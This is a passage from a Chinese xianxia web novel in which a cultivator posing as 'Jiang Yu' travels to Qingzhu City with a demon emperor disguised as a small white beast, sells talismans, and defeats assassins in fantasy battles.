沉墨清无言地看着这只和他一起啃了两个月草根的妖皇,开始思考妖皇陛下这辈子吃过的苦是不是都在他这里了。
——虽然这辈子只有几个月。
然后拒绝:“不行。”
就算此地偏远,只当苍舜是寻常妖兽,但他的皮毛流落出去,亦有可能被察觉妖皇气息。
他倒是不担心苍舜会随地掉毛,离开北境之后,这只妖皇就好像对自己施展了稳固绒毛的法术,再也不能随手一摸就顺下几根毛了。
苍舜听完,不知为何一言不发。
他好爱惜我的东西。
这个想法无端地从脑海里划过,像一片小小的花瓣落在湖面,掠起微微的涟漪。
沉墨清抬手,将自己还剩半碗的馄饨分给苍舜。
然后他就发现这只妖皇看了他一眼、又一眼。
短短几秒间,频繁地看了他好几眼。
“快吃,吃完上路。”
“……”
午后,沉墨清抱着不知为什么毛毛都柔软了不少的雪白小兽在城中闲逛。
此地是凡人城池,修士并不多见,偶有路过也不过炼气期,自然没有可以用符箓换灵石的地方。
他已身无分文,而离他要去的地方,犹隔数百里。
——青竹城,东州第一大城,众多符修汇聚之地。
符箓一道他早年就有接触,但玉百认为剑道之外皆下品,曾为此事训斥过他几次,后来他只是闲暇时私下研究,宗门也无人知他其实还擅符箓。
这些天他也曾尝试再走剑道,虽有炼气修为,却再无法凝出一丝剑意。
——玉百的四道剑气依然停留于他的灵海,就算日后能重塑根骨,只要凝出一丝剑意,都会被玉百的剑气冲散。
沉墨清并不为此感到灰心,有朝一日,他终能以外力洗去剑气,又或者依凭己身跨过大乘巅峰——到那时,种种束缚,皆为尘土。
日落西山,一支只有几人的小型商队满载货物,向东行进。
商队末尾的单人马车里,雪白小兽坐在软垫上,霸占住了一角黑色衣袍。
不久前,这支商队中的一位富家少爷在城中收购茶叶,欲到青竹城售卖。茶行将中品茶叶当成相似的上品卖给他,被沉墨清道破,富家少爷再三感谢,得知沉墨清和他同路,便邀之同行。
不知为什么,从刚才那位富家少爷热情相邀起,某只妖皇的眼神就有些怪怪的,现在的声音更是怪腔怪调:【单一个茶都能扯出千条万条来,人族果然附庸风雅】
沉墨清平静地说:“幼时家贫,承蒙好心人关照,在茶行帮工数年,见多了也就知道了。”
苍舜一下子没声了。
【抱歉】
过了两秒,他小声说。
沉墨清微微有些意外,垂下眼睫。
雪白小兽低着脑袋,缩成圆滚滚一小团,用爪子轻揉他的衣角。
“江兄!”
一个神采奕奕的青年钻进车门,正是那位富家少爷,柳钰。
沉墨清在外自称“江逾”,听见这句“江兄”,回以淡然一笑。
苍舜眉头微皱,开始用爪子挠车厢。
马车不大,柳少爷挤到沉墨清身边,他的手臂贴上沉墨清,沉墨清便往旁边让了让。
苍舜把车厢挠出了一道一道。
柳钰是个自来熟,拉着沉墨清谈天说地,聊了没一会就拐着弯问他身边那只幼小妖兽是否有名字。
沉墨清垂眼,苍舜对上他的视线,倨傲地昂起
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下颌。
你可以报上本尊的名字。
沉墨清抬眼:“咪咪。”
苍舜:“???”
柳钰看着那只雪白小兽一下子跳了起来,仰起小脑袋大声地冲自家主人“咪咪呜呜”,捧腹大笑:“果然人如其名!”
“江兄,我很喜欢你这只灵宠,愿以一千灵石求购,不知江兄可否割爱?”
苍舜抬起的爪子顿在半空,妖瞳眯起。
柳钰是炼气初期的修士,他能看出这位江兄和他修为相近,最多不过中期——刚修行的修士,往往最缺灵石。
沉墨清笑意轻淡,随手将雪白小兽揽在怀中:“他于我至关重要,绝无可能割舍。”
这只妖皇见过他的底牌,所以他绝不会将他交给任何人,那无异于自寻死路,让自己的咽喉置于他人掌中。
苍舜窝在沉墨清怀里,睁着圆溜溜的妖瞳,一眨不眨地看着那双含着浅淡笑意的眉眼。
他在他心底……这么重要?重要到无法割舍?
那,那好吧。
圆滚滚的小兽安安静静地趴了下来,软乎乎的腹部贴紧那道削瘦手腕。
柳钰不再多说什么,笑着邀请沉墨清到了青竹城一定要去他家里做客,临告别时还对苍舜一拱手:“我走啦,咪咪。”
苍舜:“???”
下马车的时候,柳大少爷不知是不是左脚绊了右脚,扑通摔了下去,发出“嗷”一声惨叫。
沉墨清正要下去,柳钰又自己爬了起来,一边哈哈笑着说“没事没事”,一边慌里慌张地左顾右盼,匆匆跑了。
人走了,留下一份当地特产的桂花糕。
贵价的糕点,模具精致,连包装的油纸都是上等。
沉墨清望着那洁白的糕点,眸中墨色沉寂。
一只雪白的小脑袋又探了过来。
怎么不高兴了?
……因为那个人走了?
苍舜一声不吭,一爪子按住那包桂花糕,飞快抢走。
沉墨清抬了抬眼睫,说:“你吃吧。”
最后,那份桂花糕有一小半都进了某只妖皇的肚子。
苍舜咽下甜滋滋的小点心,数了数剩下的桂花糕,再看看旁边又开始修炼的人,抬起爪子,将糕点整整齐齐叠好,说:【你的体内,残留着四道远胜于你的剑气。】
沉墨清双眉紧蹙,额上微微冒出一层冷汗,无心理他。
【若能洗涤剑气,还有可能重修剑道】
沉墨清睁眼:“请前辈赐教。”
苍舜哼唧。
沉墨清亲手送上一块桂花糕。
苍舜停顿了一秒,就着他的手咬住,嚼嚼嚼。
【伤你的人是谁】
沉墨清:“家师,大乘巅峰。”
苍舜“呵”一声。
【区区大乘,等我修为恢复七分,便能帮你洗涤剑气】
沉墨清:“不知前辈如今修为?”
【这点心味道不错】
沉墨清闭眼,继续修行。
苍舜:“……”
片刻后,低沉男声幽幽响起:【本尊已有五千六百年的寿命,却是第一次见到你这样的人族】
“五千三百年零一年前,妖皇命陨。”
沉墨清眼睛未睁,清悦的嗓音如林间细流,潺潺流淌。
“所以,你应当是两百九十九岁。”
“妖族的三百岁,换成人族,未过十八。”
“你比我还小,咪咪。”
苍舜:“……”
他怎么对我的事情记得这么清楚?
他果然很在意我?
某只妖皇又一声不吭了。
过了两秒,雪白小兽慢吞吞挪到沉墨清膝上,垂下细长的毛绒尾巴,拂过他的手腕。
“我要修炼了,劳驾让让。”
沉墨清抬手,把尊贵的妖皇陛下从膝间提溜到了旁边的角落里。
苍舜:“……”
雪白小兽气嗷嗷的,扭过身躯,再次留下一道冷酷的圆润背影,不理他了。
沉墨清没有在意旁边的小动静,神识回归灵海,遥望那高悬于天堑之上的鲜红令牌。
修行数日,依然无法突破筑基。
炼气突破筑基,要以灵气冲刷灵台,保证灵台稳固不倒,此过程犹如钝刀刮肉,是为淬炼身心。
寻常修士失败之后还能反复尝试,但他仅有一次机会,败则身死。
最好的办法,就是寻一张三品护灵符——可护金丹修士灵海安稳。
但,三品的符箓需要金丹以上的符修才能炼成。在诸多下州,金丹已能纵横一方,要请动金丹符修,又或购买三品护灵符,都需要极大代价。
不过,还有一种方法——
马车受惊,剧烈颠簸,沉墨清的身体惯性前倾,正要伸手撑住窗沿,又被一股强大而柔软的力量护住,将他按回软垫之上。
他偏过视线,旁边的苍舜一言不发地与他对视两秒,飞快扭过脑袋。
“出来吧,我们知你在此,恭候多时了。”
一道冰冷的声音,从马车上方传来。
“三息之内不出,杀一人。十息不出——杀十人。”
4. 第四章 离家出走
商队前方,三个黑衣人分散而站,筑基初期的气势,压得商队无人敢抬头。
“仙……仙人……”
车夫哆哆嗦嗦地说。
“我们这也凑不够十人啊……”
“是吗?”为首的中年修士神色温和,“那十息之内,全杀光吧。”
商队首领一脚踹向那车夫。
“三息已过。”
站在最后的老年修士声音幽幽,并起双指,一缕幽光自他指间弹出。
“死。”
砰!
灵气相撞,尘土飞扬。商队首领惊慌跌坐在地,身前已多了一道矮小身影。
那是一位精瘦老妪,筑基中期的气场横扫而开,眼神如炬,脸色尤为苍白。
”住手!”
马车被推开,柳钰跳了下来。
“又是你们!害死了我姐姐还不够吗?!”
那中年修士见他出来,淡笑一声:“大少爷,若上次死的是你,我们也不必多跑这一趟了。”
柳钰脸上血色尽褪。
老妪沙哑开口:“少爷,跑!”
柳钰拔腿就跑,却是跑到她面前:“周姨,我们——”
话还没说完,老妪扯起他的衣领往后一丢,迅速出掌,挡下那三位修士联手发起的一击。
灵气巨震,老妪连退三步,呕出一大口血。
老年修士啧啧摇头:“昔日青竹城赫赫有名的高手,磋磨多年,今日就要命丧他乡咯。”
被甩在一边的柳钰双眼发红:“畜生!我和你们拼了!”
“少爷!快跑!”
老妪又是一掌将柳钰打飞数丈,反手拍向自己丹田——竟是要自爆!
老年修士发出一声怪笑,不再掩盖自身气息,往前一步——筑基中期!
他苍老的手掌一翻,一口巨钟压顶而下,眼神怜悯:“我见你,如天道见蜉蝣。”
柳钰摔倒在地,抬起眼泪和鲜血横流的脸庞,不顾一切地向老妪飞奔而去——
一只修长的手从旁伸出,勾住他的衣领,手腕一翻,将他整个人往后一抛。
柳钰:“???”
又来!
已经被当成绣球连丢三回的柳少爷人都麻了,熟炼地爬起来,瞳孔一震。
巨钟悬空,凝滞不动。
一人立于他身前,黑衣利落,身形高挑,眉目冷淡。
柳钰目瞪口呆,只听年老修士厉声喝道:“炼气中期的废物也敢来送死!”
“不好,江兄快走!”
古钟巨震,声波掀起重浪,一众凡人痛苦趴地,柳钰只觉背上坠下千斤重,压得他双眼凸出,胸膛凹陷。
全力催动法器的年老修士眯起浑浊双眼,无端生出一丝不详的预感。
倒地人群中,唯有那年轻的炼气修士挺拔而立,玄色衣袍随风微飘。
他并不看向他们三人,抬手,修长指间夹着一枚符箓,手指一弹,符箓如箭射出,于半空中自燃。
一簇跃动的火光瞬间掠亮了所有人的眼睛,火光灭,万千符文流转铺开,横扫方圆百米,压住古钟声浪。
燃烧的符文光华耀耀,众人只听见那道清泠嗓音:“退下。”
年老修士眉头一皱,悄然退至同伴身后。
符修?
居然不是炼气中期,而是炼气巅峰……炼气期怎会有如此强大的压迫?他居然看不穿他的真实修为!
另外两个修士还在冷笑:“炼气小儿也敢逞能,今日我们就为你送终!”
沉墨清漠然垂目。
流动的符文骤然凌厉,宛若无数交织的剑气,撕开长夜星河——古钟碎,冲在最前面的两个筑基初期瞬间身死!
年老修士立刻拱手,身形急退数十米:“前辈!多有得罪还请宽恕!晚辈这就退下!”
随之而来的是一道冰冷嗓音:“晚了。”
符文如火焰灼灼,杀阵已成。
炽烈的火光,一瞬吞没了年老修士浑浊的眼球。
怎么可能?!
修行两百载,眼看金丹有望,怎能……
年老修士竭力伸手,还未来得及说出半句求饶的话语——身陷符火,神魂俱灭。
商队鸦雀无声。
不到十息,连杀三筑基。
半晌的死寂后,柳钰倒吸一口凉气:“这这这是炼气巅峰?”
被他扶起的老妪神情复杂。
不,那人绝不只是炼气巅峰!
听闻一些符道天才,所炼之符箓拥有跨境之威,一如剑修修行到极致,可凭剑斩跨境之敌——天之骄子,总是承天之气运。
这绝对是一位专精符箓的天骄,甚至可能是听雨宗嫡系弟子!
年纪轻轻,便有此等符道造诣。出手又如此狠厉,杀伐果断……此子绝不可估量!
“老身周飞絮,谢道友救命之恩。”
“江兄!今日起我们就是异父异母的亲兄弟了!”
宽敞的马车上,柳钰俯身长拜。
沉墨清侧身让开这一拜:“不必,柳少爷邀我同乘,如今已算两清。”
“非也,救命之恩岂可轻易抵消,江兄大德,我必铭记在心!”
柳钰一笑,复而叹气:“想来江兄也疑惑,那几人为什么要杀我。”
沉墨清:“并不。”
柳钰好像没有听见,喃喃说:“我姓柳,青竹城柳家的柳。”
“母亲诞下我和姐姐后一直在乡间养病,不久前故去,父亲派人接我们回去,谁料路上遭到刺杀,姐姐她……”
“周姨为了护我们也身受重伤,修为跌落两个小境。我本以为此地离青竹城不过百里,那些人定不敢再造次,没想到……”
膝间的雪白小兽打了个哈欠,一副无聊的样子,沉墨清直接拿袖子闷住它,平静地说:“就算如此,还要前行?”
“嗯!”柳钰抹了把眼角,紧紧握拳,“刺杀主谋是我弟弟,他与我非一母所生,歹毒至此。等我回去告诉父亲,他定然没有好下场!”
他的神色又复昂扬,对沉墨清抱拳:“大恩不言谢!我看江兄也不似爱财之人,等日后——”
沉墨清:“我是。”
“我就知……啊?”
片刻后,沉墨清将数袋鼓鼓胀胀的灵石收入储物袋,丢了一块给旁边的妖皇玩。
苍舜端坐软垫,对那块亮晶晶、圆滚滚的石头不屑一顾。
过了一会。
雪白小兽开始用爪子扑灵石。
【有了这个,是不是能买很多馄饨了?】
沉墨清微微一默,道:“能买十年都吃不完。”
苍舜满意了,抱住灵石又玩了一会,想起什么,抬爪,从虚空里抓出一包桂花糕,轻轻丢给身边的人。
沉墨清:“不吃吗?”
苍舜扭过脑袋。
【腻了,不爱吃】
沉墨清便微微笑了起来,拆开那包叠得整整齐齐的桂花糕。
不如年少时的桂花香。
……
三日后,青竹城。
占据一座山峦的符道之城,城墙皆刻着上古符文。初到此地,沉墨清就感受到了澎湃的符道气韵。
城门入口挂有悬赏榜,以灵力画出被通缉的大恶之人,沉墨清随意一瞥。
悬赏十二卷,卷卷有其名。
苍舜斜眼:【这人谁,你同父同母的亲兄弟?】
“沉墨清?听说是个了不得的大魔头啊!”柳钰对着那画像啧啧惊奇,“还好已被诛杀,若是混进了青竹城,这里岂不是要遭灭城之祸。”
他刚说完,就见江兄怀中的小妖兽一抖一抖,笑得绒毛乱飞。
被江兄不紧不慢地敲了一下脑壳。
顿时,那只小妖兽圆溜溜的兽瞳大睁,又开始奶凶奶凶地咪咪呜呜,叫得很大声。
看着凶,连爪子都不舍得亮出来挠一下。
柳钰只觉分外可爱,勾勾手指:“咪咪,嘬嘬嘬。”
忽然脸上巨痛,像被利爪一劈为二,他“嗷”地惨叫一声,用手捂脸,却不见血迹。
旁边的周飞絮欲言又止,只当没看见。
“对了,江兄你有落脚地方吗?”柳钰捂着脸嘶嘶抽气,“不如到我家做客……”
“不必,”沉墨清按住苍舜脑袋,眉目沉静,“就此别过。”
柳钰愣了一下,笑着点点头:“好!青竹城虽大,犹有再会之时。若江兄有任何需要,就来柳家找我!”
“保重。”
与柳钰道别之后,沉墨清抱着不知为什么心情忽然变好了的苍舜在城内转过一圈,很快找到了售卖符箓之地。
千玄阁。
金碧辉煌的招牌,冲天的十二层楼阁。
很快有侍女迎了上来,得知沉墨清要售卖低品符箓,将他引至一层的一块区域。
一位灰衣老者坐在柜台后,斜眼打量来客。
那是个很年轻的修士,炼气中期,衣着并不华贵,容貌也只算清秀,却有种雨后青竹的清雅气质,令人见之舒适。
他的肩上还有一只妖兽,灵力低微,品相却不错,能捕获这样的妖兽,说明也有几分实力。
老者不紧不慢地抿了口茶,拖慢了腔调:“客人都有什么符啊?”
沉墨清指节微叩桌面,三张符箓已滑至半空。
老者随意扫过,眼睛睁大,一下直起了腰:“这是……两张一品火炎符,还有二品惊雷符!”
符修可以用灵力在战斗中当场绘符,也可以提前将灵力灌注到符纸中,制出成品符箓。
符箓分为九品,一二品为下品,三四五中品,六七上品——上品符箓价值数百万甚至千万灵石,到了八品以上,就是足以引动天地异象的极品符箓,不可以灵石估算。
老者识符无数,一眼就看出这三张符箓的等级虽属下品,却灵气充沛,符文精巧,说明绘符之人的符道造诣极为深厚,实乃最上等的十成品相。
“火炎符也就罢了,但这二品惊雷符制作相当困难,制成之后威力惊人,可爆发筑基巅峰的战力!”
老者本以为沉墨清拿不出什么好符,没想到居然是不显山露水的高人,当即换上一副笑脸:“快,给贵客上茶!贵客请坐,是老朽眼拙,居然让贵客一直站着!”
立刻有侍女搬来太师椅,还贴心地拿了软垫,让客人的小妖兽能趴在上面。
老者小心翼翼地隔空捧住那张二品惊雷符:“这道符是贵客您亲手炼制?”
沉墨清端起茶盏:“家师所赠。”
老者笑得眼睛眯成一条缝:“这两张一品火炎符,我们愿各出六百灵石,这张二品惊雷符,我们愿出三千灵石!”
符箓每差一品就是天差地别,同品的不同符箓也有差距——惊雷符已是所有二品中,杀伤力顶尖的符箓。
老者给的报价高于市价一成,是存着与这位符修交好之意。一般金丹修士才可容貌常驻,这位炼气期的符修太过年轻,老者并不认为这张惊雷符是他炼制——但能得到这样的符箓,也说明他的人脉不浅。
沉墨清并不着急,说:“你们这是否有三品护……”
“八百块灵石,我要了。”
一道微尖的声音插了进来,老者眼皮一跳,只见一穿金戴玉的青年大步走来,随手将一袋灵石丢在桌上:“八百,你这三张符纸都是我的了。”
老者暗中叫苦不迭。
怎么又是他?
——柳家家主最宠爱的幼子,青竹城横行霸道的阎王爷,柳玦。
对于这个突然横插一脚的人,沉墨清只有一句:“四千二百块灵石。”
柳玦面露讥讽:“呵,本少爷愿意出钱都是给你脸了!你可想清楚了,我柳玦要的东西,青竹城无人敢抢!”
沉墨清的目光偏向老者,老者尴尬地笑了几声:“这……”
这位符修虽然值得投资,但此刻毕竟孤身一人。而柳玦的父亲可是柳家家主,青竹城三大强者之一的金丹中期!
沉墨清没有多说什么,平静地收回符纸:“那算了。”
他伸手,雪白小兽跳到他的肩上,发出一声低沉的“咪呜”。
沉墨清拍拍雪白小兽的脊背,向外走去。
老者张口欲拦,余光扫过旁边的柳玦,最终只得叹了口气,摆了个送客的手势。
柳玦倒是没想到沉墨清说走就走了,居然一点面子都不给他,还在原地愣了几秒,挤出一声冷笑:“给脸不要脸!”
他大步冲出千玄阁,没找到那人的身影,便对等在门口的随从怒斥:“都是瞎的吗!去!给我抢过来!”
那随从迅速凑近:“少爷,刚得到的消
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息——”
“什么!那几个废物连两个人都解决不掉?!他们不是带着镇魔钟吗!那可是筑基巅峰的法宝!”
“周飞絮?呵,看来是我小看了周飞絮那老太婆,青竹城多年前的高手,还是不容小觑!”
随从又低声说:“少爷,和他们一起进城的还有个炼气中期的符修,想来也帮了他们。”
“又是符修?”
柳玦听到这两个字就火大,眼珠子转了转,很快想到了什么。
“呵呵,呵呵呵……”
一阵渗人的笑声后,柳玦露出阴森眼神:“去请薛叔,了结此事。”
“杀了那人,把他的那几张符给我带来。娘的生辰快到了,有这种好东西,她肯定高兴,病也会好起来的。”
客栈上房,几碟小菜,一例鲜鱼汤。
苍舜在桌子上溜溜达达,凑过去嗅嗅这个嗅嗅那个,又扭头,看着床上打坐的沉墨清。
【不吃饭吗?】
沉墨清眼帘未抬:“忘记告诉你,我早已辟谷。”
【……哦】
那他为什么老是想吃东西!
苍舜盯住面前一盘红烧鱼,酱色浓郁的汤汁浸泡酥脆外皮,底下是雪白鲜嫩的鱼肉,点缀细脆的葱姜丝。
不爱吃。
他是妖皇,才不吃凡人的东西。
扭头跳下桌子。
“菜要凉了。”
“……”
过了两秒。
一只雪白小兽跳回桌上,若无其事地吃鱼。
一边挑出最嫩的鱼腹,一边不紧不慢地说:【本尊可以出手一次,帮你杀了那个垃圾】
“不必,”沉墨清说,“你留在我身边就行。”
他怕这位妖皇不出手则已,一出手就惊天动地,引人注目。
苍舜:“……”
他对我也挺好的。
他,他还想我留在他身边。
苍舜不吭声了,眼睛不断向某个方向微飘,吃鱼的速度都变慢了一点。
没有在意某只妖皇的小眼神,沉墨清的神识沉入灵海。
昔日荒芜的灵海再复充盈,灵力顺畅流转。虽然还未突破下一个境界,但沉墨清知道,自己的战力已跨过筑基。
现在,摆在他面前的还有一个问题。
之前柳钰相赠的一千块灵石,在炼出四道符后,只剩下几十块了。
灵石蕴含天道灵力,可供修士修行,也可作为货币流通。符修炼符时要耗费大量灵力,本身修行也需要灵力——若将自身灵力供给修炼,那符箓炼制就只能用灵石了。
目前他炼制的只是低级符箓,所耗只有灵石,若是高级符箓,还需辅以天材地宝,价格更是难以想象。
这也是许多未能出生于世家大宗的法修共同的痛点——将灵气用来炼宝,虽然炼制手法提升了,自身修为却涨得缓慢,无法炼出高品法宝。若着重提升修为而忽视炼制手法,空有修为,却不擅炼制,亦是毫无战斗手段。
所以,剑修得天独厚之处就在于此,修剑即是修身,无需分心外物——也因此,拥有剑道资质之人少之又少,往往被视为天道宠儿。
沉墨清一挥手,数十块灵石漂浮在空中,散发淡淡光芒。
少得可怜。
无论他如何排列堆叠,都不能让这堆灵石看起来多一点。
为何没有一种法术,可让灵石自己生灵石?
沉墨清微微叹息,可惜他领不了自己悬赏,实乃一大憾事。
思绪游走间,掌心底下不知何时拱进了一团柔软的毛茸茸,他还在沉思,并未低头,下意识抬手一下一下抚摸。
直到有什么轻微声响在耳畔响起,才令他微微回神,垂下眼帘。
掌心里,趴着一只圆滚滚的小毛绒球。
小毛绒球微微眯起妖瞳,腹部发出轻微的咕噜咕噜声音。
沉墨清收回手。
雪白小兽抬起毛茸茸的小脑袋,溜圆的妖瞳一眨不眨看着他。
沉墨清:做什么。
把这只妖皇轻飘飘丢到床边,开始画一些不怎么消耗灵气的低品符箓。
扑通一下落到床上的苍舜:“……”
他讨厌人族!!
某只妖皇不知第几次绒毛炸炸,盯着沉墨清看了几秒,见他并未理自己,愤怒地一甩尾巴,跳窗而出,消失在了夜色里。
圆月高悬,柳叶拂过河堤。
客栈屋檐上,一只雪白小兽蹲坐屋脊,夜间的冷风吹得绒毛乱糟糟的,圆润的兽耳微微耷拉下来。
那只毛绒爪子一下一下划拉屋檐的琉璃瓦片,看似柔软的小爪子每一下都能在瓦片间刮出道道深痕,在夜风中发出渗人的声音。
苍舜等了一会,都没等到那人追出来找自己,原本竖起的耳朵又耷拉了一点。
……不理他。
这么弱,还敢一个人待在房间里,万一被人找上门,一点自保的能力都没有。
不对,和他又没关系。
他才不要回去,更不要和那个讨厌的人族共处一室!
……他的鱼还没吃完。
……
他才不是为了那个人!
屋内,沉墨清正要推门而出,听见窗边的动静,转身。
一只蓬松松的小毛绒球气呼呼地从窗外钻了进来,跳到桌子上,叼起两根小鱼干。
瞪了沉墨清一眼,冷酷地转身一跳。
冷酷地蹲在窗外啃起了鱼干。
沉墨清:“……”
他的眼尾微微一弯,走过来,将那团冷冰冰的毛绒球抱了起来。
小毛绒球还炸炸的,嗷嗷扭来扭去,被他用修长二指轻轻抵住脑袋,揉一揉:“乖。”
小毛绒球一下不动了。
沉墨清将小毛绒球往怀里一揣,用衣袍笼住它。
小毛绒球埋在他的胸口,一动不动。
变得软软的。
“待会别出来。”
沉墨清对小毛绒球说完,抬头,乌沉眸底映入清寒的月光。
“阁下在等什么?”
片刻后,一道身影出现在窗外:“在等你的遗言。”
筑基大圆满。
比筑基后期还高半个境界,离金丹只差半步的假丹期修士——
金丹之下第一人。
5. 第五章 摸哪里呢!
薛弃踩在窗框上,俯视那个平平无奇的符修。
“你今夜必死,速说遗言。”他的神情平淡,只是在陈诉一件无关紧要的事实,“金丹之下,体修无敌。像你这样的符修,我都不知道捏死过多少个。”
沉墨清淡定地把怀中冒头的雪白小兽摁了回去。
金丹之下,体修无敌——是因为修行者未到金丹,躯体还未经过天道淬炼,彻底超凡脱俗。而体修炼体,凭借强横的体魄,对于“凡俗”身躯有更大的碾压优势。
境界越高,体修的威慑越低,相反,境界越低,体修威慑越高。
“阁下既无遗言,便指个故乡吧。”薛弃背负双手,微风吹起他的下摆,“到那时,我会将你的遗体送回去——”
话还没说完,薛弃一拳挥出!
“也算魂归故里!”
客栈墙壁根本无法承受住这一拳的力量,无数砖石与碎木飞溅,一整面墙坍塌的轰鸣惊动长街——整个青竹城却死寂一般,无一盏灯火亮起。
碎石摔洒长街,一道人影脚尖点住石块,于半空稳稳落地,正是薛弃。
他单手握住右腕,眼神惊疑不定。
金丹体魄?!
那人明明只是炼气修为……不对!就算是金丹法修也不可能在毫无防备的情况下正面接住他的全力一拳!又不是剑修!
乌云散尽,圆月高悬,月光洒落半侧长街,剩下半侧沉没阴影。
年轻的黑衣修士单手掐诀,散落乌发自然束成高马尾,从阴影中一步步踏出,踩住一线分割昼暗的月光。
那一刻,薛弃好像看见了一柄剑,一柄千锤百炼,寒芒出鞘的惊世之剑。
夜风吹拂玄色衣袍,年轻修士左手背负身后,右手伸前,修长而骨节分明的手指平摊向上,遥对薛弃。
——请赐教。
今夜的月光,格外明亮。
有轰隆的雷鸣沿着长街不断炸响,却无落雷降下。
薛弃双臂格挡在脸前,灵气流转,不断抵御疾风骤雨般的攻击,心惊不已,早已没了刚开始的轻松。
就算用了什么法宝强行提至金丹体魄,硬碰硬起来,终究还是他这个专攻炼体的半步金丹略胜一筹——可为何这个人的战斗手段也远胜于他?!
他薛弃拼杀到今天,捏死过不知多少符修,怎么到头来反而不如这个炼气小儿能打?!
又是一拳击中手臂,排开山海的力道几乎撕裂体修坚硬的皮肉,薛弃双臂剧痛,身体被力道冲得后仰。
血花飞溅,他睁大的瞳孔里映出一双眼睛——清冽的月光,也照不进那双寒潭般的眸底。
那是一双见过无数生死杀伐的眼睛。
……这个人,绝对比他杀过更多的人!
忽有烈火燃起,火蛇般撕咬身躯。薛弃面色大变,一副无法应对的慌乱模样,等沉墨清近身,他猛然一拳撞开火焰,连带着汹涌气浪将沉墨清逼退三步,才见薛弃被焚烧的衣服露出胸口一块软甲——那道一品火炎符对他毫无作用。
自觉终于赢下一局,薛弃冷笑一声:“这等专克法术的宝物,用来对付你这种低级符修正好!”
话还没说完,一记重拳砸中他腹部,将他轰飞数丈,撞断一棵柳树。
他眼前一黑,还没来得及起身,一只黑靴踏上胸口,靴间装饰的银链微微晃荡,勾勒出流畅漂亮的小腿弧度,千钧力道,压得薛弃当场呕出一大口血。
他震颤的瞳孔中,那个年轻的黑衣修士居高临下地俯视他,靴底碾过软甲,软甲出现丝丝裂痕。
“免疫法术,却扛不住外力,物随其主,绣花枕头。”
薛弃呕血不止。
打架就打架,怎么还骂人!还骂得如此难听!
然而,就算满腔怒火,他也只能被那人踩在脚下,无法爬起。
沉墨清的眼眸古井无波,袖袍下的双手已鲜血淋漓,隐见白骨。
这双手曾拧断过无数魔族脖颈,此刻对战一个伪丹修士,却已伤痕累累。
他直接取出第二张火炎符,符箓上亮起的微光,微微照亮了那双漠然的眼眸。
“不……我,我答应过少爷……绝不会失手……”
薛弃的眼神已经开始涣散,嘴里喃喃,像是说起了胡话。
“若非家主赏识,薛某早已成为野狗口中餐,若非少爷赐下丹药,我已是坟中枯骨……知遇之恩,救命之恩,不能不报!”
他忽然牙关用力,像是咽下了什么东西——下一秒,他的额头青筋暴起,五指成爪,抓向身上之人。
沉墨清眉头一挑,身形急退,衣摆翩翩飘起,已落定屋檐之上,背对一轮圆月。
圆月之下,薛弃嘶吼一声,拖着泥污的身躯缓缓爬起,种种回忆涌上心头,遇明主的感动,和恋人的相识,杀人的快感,都给予了他新的力量。
这一刻,他已然萎靡的气息迅速暴涨,耗尽的灵力再度恢复,重归筑基大圆满——甚至离结丹不再只差半步,而是只差最后一丝!
我不会倒下!不会败!
此刻,登天为金丹!
我要你死——!!
薛弃狞笑着抬起了头——
看见了一轮新月。
那是一道银白符纸,高悬于空,皎洁如新生的弯月。
月光尽洒沉墨清周身,为他飘扬的乌发与衣袍镀上一层银辉白霜,最终沉没于那双清泠的乌沉眼眸。
“废话真多。”他淡漠的嗓音自高处降下,“和天雷说去吧。”
惊雷符,现!
刹那之间,无数炽烈的银白雷霆横跨黑夜,撕裂圆月,于沉墨清指尖凝成璀璨的万千剑光。
薛弃:“……”
他妈的忘了这是个符修!!
雷从天降,万钧之势!
滂湃汹涌的雷瀑之下,薛弃只来得及说出一句:“你不能杀我!少爷和家主不会放过——”
沉墨清风轻云淡的声音淹没在雷霆声中:“奈何桥上等一等,还有故人。”
筑基大圆满,命陨当场,魂飞魄散。
地上只剩下一抹焦黑乌痕,以及一个储物袋。
沉墨清随意一扬手,薛弃的储物袋飞至他面前,神识已消,是无主之物。
一只雪白小兽踏着月光而来,飞快跳上沉墨清手臂,绒毛小爪子紧紧抓住他的袖子。
小毛绒球没什么重量,沉墨清手臂横悬,苍舜盯着他受伤流血的手指,一声不吭地埋下脑袋,舔了舔他的指尖。
沉墨清没有收回手指,只觉指尖微微一凉,似有凉意穿行经脉,伤势顷刻复原。
他刚要道谢,就看见这只白蓬蓬的小毛绒球一屁股坐在他手上,睁着圆溜溜的兽瞳瞪着他。
“咪!”
【为什么不让我出手?】
他一直旁观战局,知道那个蝼蚁不是沉墨清的对手——但,若他出手,他根本不会受伤。
结果这个人不让!
【你又不是剑修,非要和体修硬碰硬吗?】
【现在只是受点伤,下次呢?】
苍舜好像很不高兴的样子,爪子来回轻踩沉墨清手臂,一直在他耳边嘀嘀咕咕。
沉墨清取出一块灵石给这只妖皇玩。
苍舜不玩,跳到沉墨清肩上,又一下一下挠他肩膀。
轻飘飘的,没用一点力气。
沉墨清就把那块灵石轻轻放到雪白小兽的脑袋上,圆润灵石陷进了一堆软软的绒毛里。
“多谢。”
苍舜头顶灵石,闷着脸一动不动。
沉墨清的神识投入储物袋中,片刻后,微微挑眉。
薛弃家底颇丰,储物袋内居然有足足五千块灵石,几件低品的武器法宝,以及——一些残肢断手。
以特殊的方法封存,使其不腐的的残肢,无一例外都是截断的右手,大多属于老人,少有成年男女——还有几条明显来自少年少女的手臂。
显然,这就是薛弃过去的对手,是他引以为傲的“藏品”。
沉墨清将灵石全部取走,收起储物袋,转身。
“小友,请留步。”
一道朗朗女声响起,有风袭来,圆月之下,一位蓝衣的白发女子已站在夜幕之中。
她面带微笑,流转的气息并不压迫,反而十分亲和。
——金丹中期。
微风拂过沉墨清垂落的黑色衣摆,他的肩上,用爪子抱住灵石的雪白小兽随意一瞥,无聊地转过脑袋。
对于这个突然出现的金丹中期,沉墨清脸上并无意外之色:“阁下早已在此,现在现身,有何指教。”
“小友别生气,若刚才薛弃真能杀你,我一定会出手。”那白发女子笑道,“若我知道你最后要动用那道惊雷符,我必帮你杀他。”
雪白小兽又开始扒拉沉墨清垂在肩头的几缕乌发,沉墨清淡定按住那只毛茸茸的小脑袋:“阁下与他有仇?”
“柳家养的一条疯狗,我和他无仇无怨,只可惜了一张二品巅峰的好符。”
白发女子背负双手,仅一步便跨越数丈距离,出现在沉墨清身前。
“其实,他最后服用了逆元丹,牺牲寿元透支修为,本也活不了多久。”
沉墨清语气平静:“仇怨已结,唯以死消。”
白发女子笑而不语。
这个年轻修士明明有种静若松竹的气质,行事却过于狠厉,颇具魔修风范。
以炼气巅峰力压筑基大圆满,何等惊世骇俗,只怕这身修为也是假的。
